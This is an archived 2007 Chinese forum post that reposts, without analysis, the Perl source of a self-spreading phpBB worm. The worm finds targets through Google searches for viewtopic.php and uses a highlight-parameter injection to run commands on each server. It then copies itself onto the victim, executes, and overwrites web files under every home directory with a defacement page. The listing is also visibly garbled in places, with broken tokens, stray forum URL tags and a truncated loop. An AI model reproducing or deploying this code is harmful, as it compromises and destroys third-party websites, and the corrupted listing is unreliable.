岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

猪猪 发表于 2007-2-13 00:02

PHPBB蠕虫病毒phpbb-worm.pl

信息来源:暗域网络

[code]#!/usr/bin/perl
use
strict;
use Socket;


sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = 9;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('[url]http://www.google.com/advanced_search[/url]')) {
     if($generation > 3)
     {
           PayLoad() ;
     } else {
           exit;
     }
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
     exit if -e 'stop.it';

     OUTER: for my $url (GoGoogle()) {

           exit if -e 'stop.it';
     
           $url =~ s/&highlight=.*$//;
           $url .= $tryCode;
           my $r = GrabURL($url);
           next unless defined $r;
           next unless $r =~ /$markStr/;
     
           while($self =~ /(.{1,20})/gs) {
                 my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) . '),exit%252e%2527';
     
                 $url =~ s/&highlight=.*$//;
                 $url .= $portion;
                 
                 next OUTER unless GrabURL($url);
           }

           my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
           $url =~ s/&highlight=.*$//;
           $url .= $syst;
     
           GrabURL($url);
     }
}



sub str2chr($) {
     my $s = shift;

     $s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
     $s =~ s/%252e$//;

     return $s;
}


sub GoGoogle() {
     my @urls;
     my @ts = qw/t p topic/;
     my $startURL = '[url]http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all[/url]' . '&q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';
     my $goo1st = GrabURL($startURL)
     fined $goo1st;
     my $allGoo = $goo1st;
     my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';
     while($goo1st =~ m#$r#g) {
           $allGoo . = GrabURL('[url]www.google.com[/url]' . $1);
     }
     while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
           my $u = $1;
           next if $u =~ m#[url]http://.[/url]*[url]http://#i;[/url] # no redirects
           push(@urls, $u);
     }

     return @urls;
}


sub GrabURL($) {
     my $url = shift;
     $url =~ s#^[url]http://##i;[/url]

     my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
     return unless defined($host) && defined($res);

     my $r =
                 "GET $resHTTP/1.0\015\012" .
                 "Host: $host\015\012" .
                 "Accept:*/*\015\012" .
                 "Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
                 "Pragma: no-cache\015\012" .
                 "Cache-Control: no-cache\015\012" .
                 "Referer: http://" . $host . $res . "\015\012" .
                 
                 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
                 "Connection: close\015\012\015\012";

     my $port = 80;
     if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

     my $internet_addr = inet_aton($host) or return;
     socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
     setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

     connect(Server, sockaddr_in($port, $internet_addr)) or return;
     select((select(Server), $| = 1)[0]);
     print Server $r;

     my $answer = join '', <Server>;
     close (Server);

     return $answer;
}


sub DoFile($) {
     my $s = q{
           <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
           <HTML><HEAD><TITLE>This siteis defaced!!!</TITLE></HEAD>
           <BODY bgcolor="#000000" text="#FF0000">
           <H1>This site is defaced!!!</H1>
           <HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
           . $generation .q{.</b></ADDRESS>
           </BODY></HTML>
     };

     unlink $_[0];
     open OUT, ">$_[0]" or return;
     print OUT $s;
     close OUT;
}


sub DoDir($) {

     my $dir = $_[0];
     $dir .= '/' unless $dir =~ m#/$#;

     local *DIR;
     opendir DIR, $dir or return;

     for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

           unless(-l $dir . $ent) {
                 if(-d _) {
                       DoDir($dir . $ent);
                       next;
                 }
           }

           if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {
                 DoFile($dir . $ent);
           }
     }

     closedir DIR;
}


sub Pay Load() {

     my @dirs;


     eval{
           while(my @a = getpwent()) { push(@dirs, $a[7]);}
     };

     push(@dirs, '/ ');

     for my $l ('A' .. 'Z') {
           push(@d
           for my $d (@dirs) {
            DoDir($d);
     }
}[/code]

XX猪 发表于 2007-11-8 15:21

这么长。顶。

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.